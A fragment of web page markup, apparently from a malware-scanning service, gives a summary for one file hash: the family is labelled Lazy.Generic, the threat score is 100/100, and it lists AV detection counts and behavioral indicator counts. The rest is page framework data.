711199755fc5…. Malware family: Lazy.Generic. Threat score 100/100. 4/27 AV engines flagged this file. 12 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L6b","11",{}]]